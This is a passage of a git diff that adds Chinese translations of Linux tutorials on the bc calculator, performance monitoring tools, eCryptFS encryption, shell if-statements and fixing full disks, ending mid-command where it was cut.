+作为一个基于命令行的计算器,GNU bc的使用没有限制。在本文中,我会向大家介绍bc命令的几个常用的特性。如果你想要更加详细的指导,你可以查阅[官方指南][2]。 + +如果你没有一个预先写好的bc脚本,那么你可以在交互模式下运行bc。在这种模式下,你输入的以回车结束的任何声明或者表达式会被立刻计算出结果。你需要输入以下命令来进入bc的交互界面。如果想退出bc,你可以输入'quit'并且按回车。 + + $ bc + +![](https://farm4.staticflickr.com/3939/15403325480_d0db97d427_z.jpg) + +本文下面展示的例子请在bc交互界面中输入。 + +### 输入表达式 ### + +如果想要计算一个算术表达式,我们可以在闪烁的光标处输入该表达式,然后按回车确认。你也可以将该结果存储到一个变量中,然后在其他表达式中使用该变量。 + +![](https://farm6.staticflickr.com/5604/15403325460_b004b3f8da_o.png) + +在一个bc的交互界面中,保存着没有个数限制的命令历史记录。使用上方向键来查看之前输入的命令。如果你想限制历史记录保存的命令数量,你可以将一个名为history的特殊变量设置成你希望的数值。该变量默认为-1,也就是“历史记录数量没有限制”。 + +### 输入输出进制切换 ### + +经常会发生的是,你输入一个表达式并且想使用二进制或者十六进制来显示结果。bc允许你在输入输出数字的进制间转换。输入和输出的数系基分别存储在ibase和obase变量中,默认值为10,有效的数值是2到16(或者环境变量BC_BASE_MAX的值)。你只需要更改ibase和obase的值就可以在不同进制之间转换了。下面是一个求两个十六进制/二进制数和的例子: + +![](https://farm6.staticflickr.com/5604/15402320019_f01325f199_z.jpg) + +需要注意的是,我有意地将obase=16放到了ibase=16前面,**反过来则是不可以的**。这个是因为如果我先输入ibase=16,那么随后输入的obase=16中的16会被认为是16进制的数字,也就是十进制的22。当然这个不是我们所期望的。 + +### 调整精度 ### + +在bc中,数字的精度存储在一个名为scale的特殊变量中。该变量表示小数点后数字的个数。scale默认为0,意味着所有的数字和结果以整数形式储存。你可以通过改变scale这个特殊变量的值,来调整数值的精度。 + + scale=4 + +![](https://farm6.staticflickr.com/5597/15586279541_211312597b.jpg) + +### 使用内置函数 ### + +除了简单的算术操作符,GNU bc还通过外部的数学函数库来提供许多高级的数学函数。你可以在命令行界面使用“-l”选项来打开bc。 + +这里描述了一些内置的函数。 + +N的二次方根: + + sqrt(N) + +X的正弦(X是弧度): + + s(X) + +X的余弦(X是弧度): + + c(X) + +X的反正弦(返回值是弧度): + + a(X) + +X的自然对数: + + l(X) + +X的指数对数: + + e(X) + +### 当做语言来用 ### + +作为一个计算语言,GNU bc支持简单的声明(变量赋值、中断、返回等)、复合语句(if、while、for loop等)和自定义函数。在这里我不会涉及到这些特性的细节,不过你可以通过[官方指南][2]来学习如何使用这些特性。下面是一个简单的函数示例: + + define dummy(x){ + return(x * x); + } + dummy(9) + 81 + dummy(4) + 16 + +### 在非交互界面下使用GNU bc ### + +到目前为止,我们一直在交互界面下使用bc。不过更加流行的使用bc的方法是在没有交互界面的脚本中运行bc。这种情况下,你可以使用echo命令并且借助管道来向bc发送输入内容。例如: + + $ echo "40*5" | bc + $ echo "scale=4; 10/3" | bc + $ echo "obase=16; ibase=2; 11101101101100010" | bc + +![](https://farm4.staticflickr.com/3943/15565252976_f50f453c7f_z.jpg) + +总结一下,GNU bc是一款强大并且通用的基于命令行的计算器应用,它绝对不会让你失望。它预装在所有的现代Linux发行版中,bc可以让你不用离开命令行就可以进行高效的数学计算。所以,GNU bc一定会是你的最爱。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/command-line-calculator-linux.html + +作者:[Dan Nanni][a] +译者:[JonathanKang](https://github.com/JonathanKang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://www.gnu.org/software/bc/ +[2]:https://www.gnu.org/software/bc/manual/bc.html diff --git a/published/201412/20141024 Amazing 25 Linux Performance Monitoring Tools.md b/published/201412/20141024 Amazing 25 Linux Performance Monitoring Tools.md new file mode 100644 index 0000000000..09d7cb8c6a --- /dev/null +++ b/published/201412/20141024 Amazing 25 Linux Performance Monitoring Tools.md @@ -0,0 +1,295 @@ +你值得拥有 —— 25 个 Linux 性能监控工具 +================================================================================ +一段时间以来,我们在网上向读者介绍了如何为Linux以及类Linux操作系统配置多种不同的性能监控工具。在这篇文章中我们将罗列一系列使用最频繁的性能监控工具,并对介绍到的每一个工具提供了相应的简介链接,大致将其划分为两类,基于命令行的和提供图形化接口的。 + +### 基于命令行的性能监控工具 ### + +#### 1. dstat - 多类型资源统计工具 #### + +该命令整合了**vmstat**,**iostat**和**ifstat**三种命令。同时增加了新的特性和功能可以让你能及时看到各种的资源使用情况,从而能够使你对比和整合不同的资源使用情况。通过不同颜色和区块布局的界面帮助你能够更加清晰容易的获取信息。它也支持将信息数据导出到**cvs**格式文件中,从而用其他应用程序打开,或者导入到数据库中。你可以用该命令来[监控cpu,内存和网络状态随着时间的变化][1]。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/dstat.png) + +#### 2. atop - 相比top更好的ASCII码体验 #### + +这个使用**ASCII**码显示方式的命令行工具是一个显示所有进程活动的性能监控工具。它可以展示每日的系统日志以进行长期的进程活动分析,并高亮显示过载的系统使用资源。它包含了CPU,内存,交换空间,磁盘和网络层的度量指标。所有这些功能只需在终端运行**atop**即可。 + + # atop + +当然你也可以使用[交互界面来显示][2]数据并进行排序。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/atop1.jpg) + +#### 3. Nmon - 类Unix系统的性能监控 #### + +Nmon是**Nigel's Monitor**缩写,它最早开发用来作为**AIX**的系统监控工具。如果使用**在线模式**,可以使用光标键在屏幕上操作实时显示在终端上的监控信息。使用**捕捉模式**能够将数据保存为**CSV**格式,方便进一步的处理和图形化展示。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/nmon_interface.png) + +更多的信息参考我们的[nmon性能监控文章][3]。 + +#### 4. slabtop - 显示内核slab缓存信息 #### + +这个应用能够显示**缓存分配器**是如何管理Linux内核中缓存的不同类型的对象。这个命令类似于top命令,区别是它的重点是实时显示内核slab缓存信息。它能够显示按照不同排序条件来排序显示缓存列表。它同时也能够显示一个slab层信息的统计信息的题头。举例如下: + + # slabtop --sort=a + # slabtop -s b + # slabtop -s c + # slabtop -s l + # slabtop -s v + # slabtop -s n + # slabtop -s o + +**更多信息参阅**[内核slab缓存文章][4]。 + +#### 5. sar - 性能监控和瓶颈检查 #### + +**sar** 命令可以将操作系统上所选的累积活动计数器内容信息输出到标准输出上。其基于计数值和时间间隔参数的**审计系统**,会按照指定的时间间隔输出指定次数的监控信息。如果时间间隔参数为设置为0,那么[sar命令将会显示系统从开机到当时时刻的平均统计信息][5]。有用的命令如下: + + # sar -u 2 3 + # sar -u -f /var/log/sa/sa05 + # sar -P ALL 1 1 + # sar -r 1 3 + # sar -W 1 3 + +#### 6. Saidar - 简单的统计监控工具 #### + +Saidar是一个**简单**且**轻量**的系统信息监控工具。虽然它无法提供大多性能报表,但是它能够通过一个简单明了的方式显示最有用的系统运行状况数据。你可以很容易地看到[运行时间、平均负载、CPU、内存、进程、磁盘和网络接口][6]统计信息。 + + Usage: saidar [-d delay] [-c] [-v] [-h] + + -d 设置更新时间(秒) + -c 彩色显示 + -v 显示版本号 + -h 显示本帮助 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/saidar-e1413370985588.png) + +#### 7. top - 经典的Linux任务管理工具 #### + +作为一个广为人知的**Linux**工具,**top**是大多数的类Unix操作系统任务管理器。它可以显示当前正在运行的进程的列表,用户可以按照不同的条件对该列表进行排序。它主要显示了系统进程对**CPU**和内存的使用状况。top可以快速检查是哪个或哪几个进程挂起了你的系统。你可以在[这里][7]看到top使用的例子。 你可以在终端输入top来运行它并进入到交互模式: + + 交互模式的一些快捷操作: + + 全局命令: <回车/空格> ?, =, A, B, d, G, h, I, k, q, r, s, W, Z + 统计区的命令: l, m, t, 1 + 任务区的命令: + 外观: b, x, y, z 内容: c, f, H, o, S, u 大小: #, i, n 排序: <, >, F, O, R + 色彩方案: , a, B, b, H, M, q, S, T, w, z, 0 - 7 + 窗口命令: -, _, =, +, A, a, G, g, w + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/top.png) + +#### 8. Sysdig - 系统进程的高级视图 #### + +**Sysdig**是一个能够让系统管理员和开发人员以前所未有方式洞察其系统行为的监控工具。其开发团队希望改善系统级的监控方式,通过提供关于**存储,进程,网络和内存**子系统的**统一有序**以及**粒度可见**的方式来进行错误排查,并可以创建系统活动记录文件以便你可以在任何时间轻松分析。 + +简单例子: + + # sysdig proc.name=vim + # sysdig -p"%proc.name %fd.name" "evt.type=accept and proc.name!=httpd" + # sysdig evt.type=chdir and user.name=root + # sysdig -l + # sysdig -L + # sysdig -c topprocs_net + # sysdig -c fdcount_by fd.sport "evt.type=accept" + # sysdig -p"%proc.name %fd.name" "evt.type=accept and proc.name!=httpd" + # sysdig -c topprocs_file + # sysdig -c fdcount_by proc.name "fd.type=file" + # sysdig -p "%12user.name %6proc.pid %12proc.name %3fd.num %fd.typechar %fd.name" evt.type=open + # sysdig -c topprocs_cpu + # sysdig -c topprocs_cpu evt.cpu=0 + # sysdig -p"%evt.arg.path" "evt.type=chdir and user.name=root" + # sysdig evt.type=open and fd.name contains /etc + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/sysdig.jpg) + +**更多信息** 可以在 [如何利用sysdig改善系统层次的监控和错误排查][8] + +#### 9. netstat - 显示开放的端口和连接 #### + +它是**Linux管理员**使用来显示各种网络信息的工具,如查看什么端口开放和什么网络连接已经建立以及何种进程运行在该连接之上。同时它也显示了不同程序间打开的**Unix套接字**的信息。作为大多数Linux发行版本的一部分,netstat的许多命令在 [netstat和它的不同输出][9]中有详细的描述。最为常用的如下: + + $ netstat | head -20 + $ netstat -r + $ netstat -rC + $ netstat -i + $ netstat -ie + $ netstat -s + $ netstat -g + $ netstat -tapn + +### 10. tcpdump - 洞察网络封包 ### + +**tcpdump**可以用来查看**网络连接**的**封包**内容。它显示了传输过程中封包内容的各种信息。为了使得输出信息更为有用,它允许使用者通过不同的过滤器获取自己想要的信息。可以参照的例子如下: + + # tcpdump -i eth0 not port 22 + # tcpdump -c 10 -i eth0 + # tcpdump -ni eth0 -c 10 not port 22 + # tcpdump -w aloft.cap -s 0 + # tcpdump -r aloft.cap + # tcpdump -i eth0 dst port 80 + +你可以文章“[在topdump和捕捉包][10]”中找到详细描述。 + +#### 11. vmstat - 虚拟内存统计信息 #### + +**vmstat**是虚拟内存(**virtual memory** statistics)的缩写,作为一个**内存监控**工具,它收集和显示关于**内存**,**进程**,**终端**和**分页**和**I/O阻塞**的概括信息。作为一个开源程序,它可以在大部分Linux发行版本中找到,包括Solaris和FreeBSD。它用来诊断大部分的内存性能问题和其他相关问题。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/vmstat_delay_5.png) + +**M更多信息** 参考 [vmstat命令文章][11]。 + +#### 12. free - 内存统计信息 #### + +free是另一个能够在终端中显示内存和交换空间使用的命令行工具。由于它的简易,它经常用于快速查看内存使用或者是应用于不同的脚本和应用程序中。在这里你可以看到[这个小程序的许多应用][12]。几乎所有的系统管理员日常都会用这个工具。:-) + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/free_hs3.png) + +#### 13. Htop - 更加友好的top #### + +**Htop**基本上是一个top改善版本,它能够以更加多彩的方式显示更多的统计信息,同时允许你采用不同的方式进行排序,它提供了一个**用户友好**的接口。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/htop.png) + +你可以在文章“[关于htop和top的比较][13]”中找到**更多的信息** 。 + +#### 14. ss - 网络管理的现代替代品 #### + +**ss**是**iproute2**包的一部分。iproute2是用来替代一整套标准的**Unix网络**工具组件,它曾经用来完成[网络接口配置,路由表和管理ARP表][14]任务。ss工具用来记录套接字统计信息,它可以显示类似netstat一样的信息,同时也能显示更多TCP和状态信息。一些例子如下: + + # ss -tnap + # ss -tnap6 + # ss -tnap + # ss -s + # ss -tn -o state established -p + +#### 15. lsof - 列表显示打开的文件 #### + +**lsof**命令,意为“**list open files**”, 用于在许多类Unix系统中显示所有打开的文件及打开它们的进程。在大部分Linux发行版和其他类Linux操作系统中系统管理员用它来检查不同的进程打开了哪些文件。 + + # lsof +p process_id + # lsof | less + # lsof –u username + # lsof /etc/passwd + # lsof –i TCP:ftp + # lsof –i TCP:80 + +你可以找到 **更多例子** 在[lsof 文章][15] + +#### 16. iftop - 类似top的了网络连接工具 #### + +**iftop**是另一个基于网络信息的类似top的程序。它能够显示当前时刻按照**带宽使用**量或者上传或者下载量排序的**网络连接**状况。它同时提供了下载文件的预估完成时间。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/iftop.png) + +**更多信息**可以参考[网络流量iftop文章][16] + +#### 17. iperf - 网络性能工具 #### + +**iperf**是一个**网络测试**工具,能够创建**TCP**和**UDP**数据连接并在网络上测量它们的**传输性能**。它支持调节关于时间,协议和缓冲等不同的参数。对于每一个测试,它会报告带宽,丢包和其他的一些参数。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/iperf-e1413378331696.png) + +如果你想用使用这个工具,可以参考这篇文章: [如何安装和使用iperf][17] + +#### 18. Smem - 高级内存报表工具 #### + +**Smem**是最先进的**Linux**命令行工具之一,它提供关于系统中已经使用的和共享的实际内存大小,试图提供一个更为可靠的当前**内存**使用数据。 + + $ smem -m + $ smem -m -p | grep firefox + $ smem -u -p + $ smem -w -p + +参考我们的文章:[Smem更多的例子][18] + +### 图形化或基于Web的性能工具 ### + +#### 19. Icinga - Nagios的社区分支版本 #### + +**Icinga**是一个**开源免费**的网络监控程序,作为Nagios的分支,它继承了前者现有的大部分功能,同时基于这些功能又增加了社区用户要求已久的功能和补丁。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/Icinga-e1413377995731.png) + +**更多信息**请参考[安装和配置lcinga文章][19]. + +#### 20. Nagios - 最为流行的监控工具. #### + +作为在Linux上使用最为广泛和最为流行的**监控方案**,它有一个守护程序用来收集不同进程和远程主机的信息,这些收集到的信息都通过功能强大**的web界面**进行呈现。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/nagios-e1413305858732.png) + +你可以在文章“[如何安装nagios][20]”里面**找到更多的信息** + +#### 21. Linux process explorer - Linux下的procexp #### + +**Linux process explorer**是一个Linux下的图形化进程浏览工具。它能够显示不同的进程信息,如进程数,TCP/IP连接和每一个进程的性能指标。作为**Windows**下**procexp**在Linux的替代品,是由**Sysinternals**开发的,其目标是比**top**和**ps**提供更好用户体验。 + +![](http://a.fsdn.com/con/app/proj/procexp/screenshots/tcpipview.png) + +查看 [linux process explorer 文章][21]获取更多信息。 + +#### 22. Collectl - 性能监控工具 #### + +你可以既可以通过交互的方式使用这个**性能监控**工具,也可以用它把**报表**写到磁盘上,并通过web服务器来访问。它以一种**易读易管理**的格式,显示了**CPU,磁盘,内存,网络,网络文件系统,进程,slabs**等统计信息。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/collectl.png) + +**更多** 关于[Collectl的文章][22]。 + +#### 23. MRTG - 经典网络流量监控图形工具 #### + +这是一个采用**rrdtool**的生成图形的流量监控工具。作为**最早**的提供**图形化界面**的流量监控工具,它被广泛应用在类Unix的操作系统中。查看我们关于[如何使用MRTG][23]的文章获取更多关于安装和配置的信息。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/mrtg.png) + +#### 24. Monit - 简单易用的监控工具 #### + +**Monit**是一个用来**监控进程**,**系统加载**,**文件系统**和**目录文件**等的开源的Linux工具。你能够让它自动化维护和修复,也能够在运行错误的情景下执行特定动作或者发邮件报告提醒系统管理员。如果你想要用这个工具,你可以查看[如何使用Monit的文章][24]。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/monit.png) + +#### 25. Munin - 为服务器提供监控和提醒服务 #### + +作为一个网络资源监控工具,*Munin**能够帮助分析**资源趋势**和**查看薄弱环节**以及导致产生**性能问题**的原因。开发此软件的团队希望它能够易用和用户体验友好。该软件是用Perl开发的,并采用**rrdtool**来绘制图形,使用了**web界面**进行呈现。开发人员推广此应用时声称当前已有500多个监控插件可以“**即插即用**”。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/Ubuntu-2014-10-13-10-37-34-e1413185930801.png) +**更多信息**可以在[关于Munin的文章][25]。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/monitoring-2/linux-performance-monitoring-tools/ + +作者:[Adrian Dinu][a] +译者:[andyxue](https://github.com/andyxue) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ +[1]:http://linux.cn/article-3215-1.html +[2]:http://linoxide.com/monitoring-2/guide-using-linux-atop/ +[3]:http://linoxide.com/monitoring-2/install-nmon-monitor-linux-performance/ +[4]:http://linux.cn/article-3702-1.html +[5]:http://linoxide.com/linux-command/linux-system-performance-monitoring-using-sar-command/ +[6]:http://linoxide.com/monitoring-2/monitor-linux-saidar-tool/ +[7]:http://linux.cn/article-2352-1.html +[8]:http://linux.cn/article-4341-1.html +[9]:http://linux.cn/article-2434-1.html +[10]:http://linoxide.com/linux-how-to/network-traffic-capture-tcp-dump-command/ +[11]:http://linux.cn/article-2472-1.html +[12]:http://linux.cn/article-2443-1.html +[13]:http://linux.cn/article-3141-1.html +[14]:http://linux.cn/article-4372-1.html +[15]:http://linux.cn/article-4099-1.html +[16]:http://linux.cn/article-1843-1.html +[17]:http://linoxide.com/monitoring-2/install-iperf-test-network-speed-bandwidth/ +[18]:http://linoxide.com/tools/memory-usage-reporting-smem/ +[19]:http://linoxide.com/monitoring-2/install-configure-icinga-linux/ +[20]:http://linux.cn/article-2436-1.html +[21]:http://sourceforge.net/projects/procexp/ +[22]:http://linux.cn/article-3154-1.html +[23]:http://linoxide.com/tools/multi-router-traffic-grapher/ +[24]:http://linoxide.com/monitoring-2/monit-linux/ +[25]:http://linoxide.com/ubuntu-how-to/install-munin/ diff --git a/published/201412/20141027 How to encrypt files and directories with eCryptFS on Linux.md b/published/201412/20141027 How to encrypt files and directories with eCryptFS on Linux.md new file mode 100644 index 0000000000..48b5ae906c --- /dev/null +++ b/published/201412/20141027 How to encrypt files and directories with eCryptFS on Linux.md @@ -0,0 +1,107 @@ +在Linux上使用eCryptFS加密文件和目录 +================================================================================ +作为罪犯,你需要为自己的身份保密;而作为中情局成员,你同样也需要为自己的身份保密。但是,你却不是他们其中的任何一员,你只是不想其他人查探到你的金融数据、家庭照片、尚未出版的手稿,或者记录着你能发家致富的最初想法的私密笔记。 + +我时常听到有人告诉我“我只是个微不足道的人,没人会查探我”或者“我没有什么东西要隐藏的。”好吧,告诉你我的想法,即便我没有什么要隐藏的,或者我也可以公开我带着狗的孩子的照片,那我也有权利不这么去做,也有权利来保护我的隐私。 + +### 加密类型 ### + +我们主要有两种加密文件和目录的方法。一种是文件系统级别的加密,在这种加密中,你可以选择性地加密某些文件或者目录(如,/home/alice)。对我而言,这是个十分不错的方法,你不需要为了启用或者测试加密而把所有一切重新安装一遍。然而,文件系统级别的加密也有一些缺点。例如,许多现代应用程序会缓存(部分)文件你硬盘中未加密的部分中,比如交换分区、/tmp和/var文件夹,而这会导致隐私泄漏。 + +另外一种方式,就是所谓的全盘加密,这意味着整个磁盘都会被加密(可能除了主引导记录外)。全盘加密工作在物理磁盘级别,写入到磁盘的每个比特都会被加密,而从磁盘中读取的任何东西都会在运行中解密。这会阻止任何潜在的对未加密数据的未经授权的访问,并且确保整个文件系统中的所有东西都被加密,包括交换分区或任何临时缓存数据。 + +### 可用的加密工具 ### + +在Linux中要实施加密,有几个可供选择的工具。在本教程中,我打算介绍其中一个:**eCryptFS**,一个用户空间文件系统加密工具。下面提供了一个Linux上可用的加密工具摘要供您参考。 + +#### 文件系统级别加密 #### + +- [EncFS][1]:尝试加密的最简单方式之一。EncFS工作在基于FUSE的伪文件系统上,所以你只需要创建一个加密文件夹并将它挂载到某个文件夹就可以工作了。 +- [eCryptFS][2]:一个POSIX兼容的加密文件系统,eCryptFS工作方式和EncFS相同,所以你必须挂载它。 + +#### 磁盘级别加密 #### + +- [Loop-AES][3]:最古老的磁盘加密方法。它真的很快,并且适用于旧系统(如,2.0内核分支)。 +- [DMCrypt][4]:最常见的磁盘加密方案,支持现代Linux内核。 +- [CipherShed][5]:已停止的TrueCrypt磁盘加密程序的一个开源分支。 + +### eCryptFS基础 ### + +eCrypFS是一个基于FUSE的用户空间加密文件系统,在Linux内核2.6.19及更高版本中可用(作为encryptfs模块)。eCryptFS加密的伪文件系统是挂载到当前文件系统顶部的。它可以很好地工作在EXT文件系统家族和其它文件系统如JFS、XFS、ReiserFS、Btrfs,甚至是NFS/CIFS共享文件系统上。Ubuntu使用eCryptFS作为加密其家目录的默认方法,ChromeOS也是。在eCryptFS底层,默认使用的是AES算法,但是它也支持其它算法,如blowfish、des3、cast5、cast6。如果你是通过手工创建eCryptFS设置,你可以选择其中一种算法。 + +就像我所的,Ubuntu让我们在安装过程中选择是否加密/home目录。好吧,这是使用eCryptFS的最简单的一种方法。 + +![](https://farm6.staticflickr.com/5600/15639040345_8d74cd54a8_z.jpg) + +Ubuntu提供了一个用户友好的工具集,通过eCryptFS可以让我们的生活更轻松,但是在Ubuntu安装过程中启用eCryptFS只创建了一个指定的预配置的设置。所以,如果默认的设置不适合你的需求,你需要进行手工设置。在本教程中,我将介绍**如何在主流Linux发行版上手工设置eCryptFS**。 + +### eCryptFS的安装 ### + +Debian,Ubuntu或其衍生版: + + $ sudo apt-get install ecryptfs-utils + +注意,如果你在Ubuntu安装过程中选择加密家目录,eCryptFS应该已经安装了。 + +CentOS, RHEL or Fedora: + + # yum install ecryptfs-utils + +Arch Linux: + + $ sudo pacman -S ecryptfs-utils + +在安装完包后,加载eCryptFS内核模块当然会是一个很好的实践: + + $ sudo modprobe ecryptfs + +### 配置eCryptFS ### + +现在,让我们开始加密一些目录,运行eCryptFS配置工具: + + $ ecryptfs-setup-private + +![](https://farm6.staticflickr.com/5608/15453440890_3b4be6d5a7_z.jpg) + +它会要求你输入登录密码和挂载密码。登录密码和你常规登录的密码一样,而挂载密码用于派生一个文件加密主密钥。这里留空可以生成一个(复杂的),这样会更安全。登出然后重新登录。 + +你会注意到,eCryptFS默认在你的家目录中创建了两个目录:Private和.Private。~/.Private目录包含有加密的数据,而你可以在~/Private目录中访问到相应的解密后的数据。在你登录时,~/.Private目录会自动解密并映射到~/Private目录,因此你可以访问它。当你登出时,~/Private目录会自动卸载,而~/Private目录中的内容会加密回到~/.Private目录。 + +eCryptFS怎么会知道你拥有~/.Private目录,并自动将其解密到~/Private目录而不需要我们输入密码呢?这就是eCryptFS的PAM模块捣的鬼,它为我们提供了这项便利服务。 + +如果你不想让~/Private目录在登录时自动挂载,只需要在运行ecryptfs-setup-private工具时添加“--noautomount”选项。同样,如果你不想要~/Private目录在登出后自动卸载,也可以自动“--noautoumount”选项。但是,那样后,你需要自己手工挂载或卸载~/Private目录: + + $ ecryptfs-mount-private ~/.Private ~/Private + $ ecryptfs-umount-private ~/Private + +你可以来验证一下.Private文件夹是否被挂载,运行: + + $ mount + +![](https://farm6.staticflickr.com/5610/15452374739_2ffb73cf05_z.jpg) + +现在,我们可以开始把任何敏感文件放进~/Private文件夹里头了,它们会在我们登出时自动被加密并锁在~/.Private文件内。 + +所有这一切看起来是那么得神奇。这主要是ecryptfs-setup-private工具让一切设置变得简单。如果你想要深究一点,对eCryptFS指定的方面进行设置,那么请转到[官方文档][6]。 + +### 结尾 ### + +综上所述,如果你十分关注你的隐私,最好是将基于eCryptFS文件系统级别的加密和全盘加密相结合。切记,只进行文件加密并不能保证你的隐私不受侵犯。 + +------------------------------------------------------------------------------ + +via: http://xmodulo.com/encrypt-files-directories-ecryptfs-linux.html + +作者:[Christopher Valerio][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/valerio +[1]:http://www.arg0.net/encfs +[2]:http://ecryptfs.org/ +[3]:http://sourceforge.net/projects/loop-aes/ +[4]:https://code.google.com/p/cryptsetup/wiki/DMCrypt +[5]:https://ciphershed.org/ +[6]:http://ecryptfs.org/documentation.html diff --git a/published/201412/20141029 Shell Scripting--Checking Conditions with if.md b/published/201412/20141029 Shell Scripting--Checking Conditions with if.md new file mode 100644 index 0000000000..4e91f6e146 --- /dev/null +++ b/published/201412/20141029 Shell Scripting--Checking Conditions with if.md @@ -0,0 +1,146 @@ +Shell 脚本 - 使用 if 语句进行条件检测 +================================================================================ +[Bourne Shell](http://en.wikipedia.org/wiki/Bourne_shell) 的 if 语句和大部分编程语言一样 - 检测条件是否真实,如果条件为真,shell 会执行这个 if 语句指定的代码块,如果条件为假,shell 就会跳过 if 代码块,继续执行之后的代码。 + +### if 语句的语法: ### + + if [ 判断条件 ] + then + command1 + command2 + …….. + last_command + fi + +#### Example: #### + + #!/bin/bash + number=150 + if [ $number -eq 150 ] + then + echo "Number is 150" + fi + +#### if-else 语句: #### + +除了标准的 if 语句之外,我们还可以加入 else 代码块来扩展 if 语句。这么做的主要目的是:如果 if 条件为真,执行 if 语句里的代码块,如果 if 条件为假,执行 else 语句里的代码块。 + +#### 语法: #### + + if [ 判断条件 ] + then + command1 + command2 + …….. + last_command + else + command1 + command2 + …….. + last_command + fi + +#### Example: #### + + #!/bin/bash + number=150 + if [ $number -gt 250 ] + then + echo "Number is greater" + else + echo "Number is smaller" + fi + +### If..elif..else..fi 语句 (简写的 else if) ### + +Bourne Shell 的 if 语句语法中,else 语句里的代码块会在 if 条件为假时执行。我们还可以将 if 语句嵌套到一起,来实现多重条件的检测。我们可以使用 elif 语句(else if 的缩写)来构建多重条件的检测。 + +#### 语法 : #### + + if [ 判断条件1 ] + then + command1 + command2 + …….. + last_command + elif [ 判断条件2 ] + then + command1 + command2 + …….. + last_command + else + command1 + command2 + …….. + last_command + fi + +#### Example : #### + + #!/bin/bash + number=150 + if [ $number -gt 300 ] + then + echo "Number is greater" + elif [ $number -lt 300 ] + then + echo "Number is Smaller" + else + echo "Number is equal to actual value" + fi + +### 多重 if 语句 : ### + +If 和 else 语句可以在一个 bash 脚本里相互嵌套。关键词 “fi” 表示里层 if 语句的结束,所有 if 语句必须使用 关键词 “fi” 来结束。 + +基本 if 语句的**嵌套语法**: + + if [ 判断条件1 ] + then + command1 + command2 + …….. + last_command + else + if [ 判断条件2 ] + then + command1 + command2 + …….. + last_command + else + command1 + command2 + …….. + last_command + fi + fi + +#### Example: #### + + #!/bin/bash + number=150 + if [ $number -eq 150 ] + then + echo "Number is 150" + else + if [ $number -gt 150 ] + then + echo "Number is greater" + else + echo "'Number is smaller" + fi + fi + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/shell-scripting-checking-conditions-with-if/ + +作者:[Pradeep Kumar][a] +译者:[ThomazL](https://github.com/ThomazL) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201412/20141030 8 Tips to Solve Linux and Unix Systems Hard Disk Problmes Like Disk Full Or Can't Write to the Disk.md b/published/201412/20141030 8 Tips to Solve Linux and Unix Systems Hard Disk Problmes Like Disk Full Or Can't Write to the Disk.md new file mode 100644 index 0000000000..f80104ba0b --- /dev/null +++ b/published/201412/20141030 8 Tips to Solve Linux and Unix Systems Hard Disk Problmes Like Disk Full Or Can't Write to the Disk.md @@ -0,0 +1,292 @@ +解决八种Linux硬盘问题的技巧 +================================================================================ +不能在Linux或者类UNIX系统的硬盘上写入数据?想解决服务器上磁盘损坏的问题吗?想知道你为什么总是在屏幕上看到“磁盘已满”的字眼吗?想学习处理这些问题的办法吗?试试一下这8个解决Linux及UNIX服务器硬盘问题的小贴士吧。 + +![](http://s0.cyberciti.org/uploads/cms/2014/10/welcome-0-disk-problems.001.jpg) + +### #1 - 错误: 设备上无剩余空间 ### + +当你的类UNIX系统磁盘写满了时你会在屏幕上看到这样的信息。本例中,我运行[fallocate命令][1]然后我的系统就会提示磁盘空间已经耗尽: + + $ fallocate -l 1G test4.img + fallocate: test4.img: fallocate failed: No space left on device + +第一步是运行df命令来查看一个有分区的文件系统的总磁盘空间和可用空间的信息: + + $ df + +或者试试可读性比较强的输出格式: + + $ df -h + +部分输出内容: + + Filesystem Size Used Avail Use% Mounted on + /dev/sda6 117G 54G 57G 49% / + udev 993M 4.0K 993M 1% /dev + tmpfs 201M 264K 200M 1% /run + none 5.0M 0 5.0M 0% /run/lock + none 1002M 0 1002M 0% /run/shm + /dev/sda1 1.8G 115M 1.6G 7% /boot + /dev/sda7 4.7G 145M 4.4G 4% /tmp + /dev/sda9 9.4G 628M 8.3G 7% /var + /dev/sda8 94G 579M 89G 1% /ftpusers + /dev/sda10 4.0G 4.0G 0 100% /ftpusers/tmp + +使用df命令输出可以清楚地发现,在 /dev/sda10 分区下总共4.0Gb的空间被全部写满了。 + +#### 修复磁盘写满的问题 #### + +1.[用gzip,bzip2或tar命令压缩未压缩的日志和其它文件][2]: + + gzip /ftpusers/tmp/*.log + bzip2 /ftpusers/tmp/large.file.name + +2.在类UNIX系统中[用rm命令删除不想要的文件][3]: + + rm -rf /ftpusers/tmp/*.bmp + +3.[用rsync命令移动文件至其它系统或外置硬盘][4]: + + rsync --remove-source-files -azv /ftpusers/tmp/*.mov /mnt/usbdisk/ + rsync --remove-source-files -azv 